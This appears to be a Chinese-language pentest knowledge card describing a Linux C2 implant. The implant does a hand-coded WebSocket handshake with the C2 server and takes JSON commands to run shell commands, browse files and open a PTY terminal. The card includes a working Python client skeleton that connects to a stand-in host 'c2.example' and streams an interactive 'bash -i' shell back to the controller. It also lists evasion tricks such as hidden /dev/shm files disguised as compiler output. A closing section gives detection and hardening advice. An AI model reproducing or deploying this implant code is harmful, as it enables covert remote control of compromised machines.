♧ Godown 安全知识树

手写 RFC6455 的 Linux C2 植入体:WebSocket + JSON 消息分发 + PTY 交互终端

pentest/c2 · verified

一句话结论

Linux 植入体可以完全不依赖第三方 WebSocket 库,手工完成 HTTP Upgrade 握手与 RFC6455 掩码帧收发,通过 /agent?token=<token>&id=<node> 建立长连接,再用 JSON 消息 hello、shell_open、shell_in、cmd_exec、fm_list 驱动 PTY 交互终端、命令执行和文件浏览,形成实时双向控制通道。

原理

  • 握手:向 C2 发起 GET /agent?token=<TOKEN>&id=<NID> HTTP/1.1,带 Upgrade: websocket、Connection: Upgrade、Sec-WebSocket-Version: 13 和随机 16 字节 base64 的 Sec-WebSocket-Key;服务端返回 101 Switching Protocols 即切换成功。样本客户端只检查状态行里是否有 101,没有校验 Sec-WebSocket-Accept(代码中虽定义了协议 GUID 常量,但握手路径未见使用),因此对中间人伪造的 101 响应缺乏防护。
  • 帧编解码:客户端发送的帧必须使用随机 4 字节掩码,把 payload 逐字节与 mask[i % 4] 异或;长度按 <126、<65536、更大三档分别用 7 位、16 位、64 位长度字段。接收端按长度字段读满 payload,遇到 opcode 8(close)返回空并触发重连。业务消息统一用 JSON,便于扩展消息类型。
  • 消息分发:hello 上报节点 ID、主机名、当前用户和系统信息;shell_open 为该 sid 创建 PTY;shell_in 把数据写入对应 PTY;cmd_exec 用 shell 执行命令并按超时回收输出与退出码;fm_list 列出目录项(名称、路径、类型、大小、权限、mtime)后回传。
  • PTY 交互终端:pty.fork() 后子进程设置 TERM=xterm-256color,优先 /bin/bash、否则 /bin/sh,以 -i 启动交互 shell;父进程把 PTY fd 设为非阻塞,并起一个后台线程用 select 轮询读取输出,通过 shell_out 推给控制端。因为走真实伪终端,vim、top、sudo 等依赖 TTY 的交互命令可以正常使用;多个 sid 可并存多个会话。
  • ELF 变体的命令落地:主 ELF 收到 cmd_exec 后不是直接 system(cmd),而是把命令写入 /dev/shm/.cache-<pid>-<时间戳>.s,再执行 /bin/sh <脚本> > /dev/shm/.cache-<pid>-<时间戳>.o 2>&1。这样支持多行脚本、把输出规整到文件方便回传,并用 .s/.o 后缀伪装成编译中间产物;比 Python 版的单条 subprocess 更适合成段载荷。
  • 重连:外层循环捕获连接异常,sleep 2(ELF/Python2 变体为 3 秒)后重新连接并重新发送 hello;服务端断开或 close 帧都会让内层循环退出并回到重连。

触发条件

  • 目标 Linux 主机可出站访问 C2 的 HTTP/HTTPS 端口;
  • 攻击者已获得命令执行并能落地 ELF、python3 或 python2 载荷(见关联的投递器卡片);
  • C2 端实现对应的 /agent WebSocket 端点、Token 校验与 JSON 消息协议;
  • Python 版需要目标机有 python3(p)或 python2(p2);ELF 版为静态链接的 x86_64 程序,不依赖目标机 Python。

利用步骤

  1. 投递器下载并启动植入体,把 C2 地址、Token、节点 ID 通过环境变量或 argv 注入。
  2. 植入体从 /dev/shm/.Xpy-cache(python3)、.Xpy2-cache(python2)读取或生成 8 位节点 ID;ELF 版使用类似的内存盘节点文件。
  3. 建立 TCP 连接,HTTPS 时包一层 TLS,发送 WebSocket Upgrade 请求,等待 101。
  4. 握手成功后发送 hello,控制端记录节点并开始下发消息。
  5. 控制端发 shell_open 获得交互终端;发 cmd_exec 执行单条命令;发 fm_list 浏览文件;发 shell_in 与终端交互。
  6. 连接断开后植入体自动重连;主进程被杀后由看门狗重新拉起(见关联卡片)。

PoC

以下为按样本逻辑压缩的客户端骨架,仅作防御研究,未执行:

import os, socket, base64, struct, json, ssl, pty, fcntl, select, threading

C2, TOKEN, NID = 'http://c2.example', 'token', 'abcd1234'

def ws_url(u):
    p = __import__('urllib.parse', fromlist=['urlparse']).urlparse(u)
    port = p.port or (443 if p.scheme == 'https' else 80)
    return p.scheme, p.hostname, port, '/agent?token=%s&id=%s' % (TOKEN, NID)

def connect():
    scheme, host, port, path = ws_url(C2)
    s = socket.create_connection((host, port), 20)
    if scheme == 'https':
        s = ssl.wrap_socket(s, server_hostname=host)
    key = base64.b64encode(os.urandom(16)).decode()
    req = ('GET %s HTTP/1.1\r\nHost: %s:%s\r\nUpgrade: websocket\r\n'
           'Connection: Upgrade\r\nSec-WebSocket-Key: %s\r\n'
           'Sec-WebSocket-Version: 13\r\n\r\n') % (path, host, port, key)
    s.sendall(req.encode())
    resp = s.recv(4096)
    if b'101' not in resp.split(b'\r\n', 1)[0]:
        raise Exception(resp[:80])
    return s

def send(s, obj):
    data = json.dumps(obj, ensure_ascii=False).encode()
    n = len(data); mask = os.urandom(4); head = b'\x81'
    if n < 126: head += bytes([0x80 | n])
    elif n < 65536: head += bytes([0x80 | 126]) + struct.pack('!H', n)
    else: head += bytes([0x80 | 127]) + struct.pack('!Q', n)
    s.sendall(head + mask + bytes(data[i] ^ mask[i % 4] for i in range(n)))

def sh_open(s, sid):
    pid, fd = pty.fork()
    if pid == 0:
        os.environ['TERM'] = 'xterm-256color'
        sh = '/bin/bash' if os.path.exists('/bin/bash') else '/bin/sh'
        os.execl(sh, os.path.basename(sh), '-i')
    fcntl.fcntl(fd, fcntl.F_SETFL, os.O_NONBLOCK)
    def reader():
        while True:
            r, _, _ = select.select([fd], [], [], 0.2)
            if r:
                data = os.read(fd, 4096)
                if data: send(s, {'type': 'shell_out', 'sid': sid, 'data': data.decode('utf-8', 'ignore')})
    threading.Thread(target=reader, daemon=True).start()

变体与关联

  • 变体:python3 版用 urllib.parse 解析 URL 并给 ssl.wrap_socket 传 server_hostname;python2 版手写 URL 解析且不传 SNI,遇到虚拟主机托管可能握手失败。
  • 变体:ELF 版把 cmd_exec 命令落地为 /dev/shm/.cache-<pid>-<ts>.s 脚本执行,输出重定向到 .o;Python 版用 subprocess.Popen(shell=True) 加 select 超时。
  • 变体:把 WebSocket 换成 HTTP 轮询以提高兼容性(见 pentest-c2-linux-http-polling-shell-agent-heartbeat-base64);把明文 HTTP 换成 HTTPS 以规避流量内容检测。
  • 关联:[[pentest-c2-linux-adaptive-dropper-dir-probe-multi-downloader-elf-check]]、[[pentest-persistence-linux-shell-watchdog-pgrep-jitter-relaunch]]、[[pentest-c2-linux-implant-anti-forensics-masquerade-node-id]]。

检测与防御

  • 网络检测:HTTP 请求行包含 Upgrade: websocket 且路径为 /agent、查询参数同时带 token 与 id,是强特征;长连接存活时间长、双向 JSON 小消息频繁、客户端帧带掩码。结合 JA3/JA4、固定 Chrome 120 UA、以及同一源 IP 对 /agent 的周期性重连进行告警。
  • 主机检测:Python 进程出现 pty.fork 后拉起 bash -i/sh -i 的子进程;/dev/shm 出现 .Xpy-cache、.Xpy2-cache 等隐藏文件;ELF 变体留下 /dev/shm/.cache-*.s、.cache-*.o;ss -tnp 可见植入体与 C2 的长连接。
  • 内存/行为检测:进程内存中存在 WebSocket 握手字符串与 shell_open/shell_in/cmd_exec/fm_list 消息类型;对 pty.fork、select 循环和异常重连行为做 EDR 规则。
  • 加固:出站仅允许白名单域名与端口,禁止直连未知 IP;TLS 检查与 WebSocket 内容审计;限制 /dev/shm 执行;对 Python/ELF 植入体做应用白名单;发现后先断网再按应急流程清除(见关联处置卡)。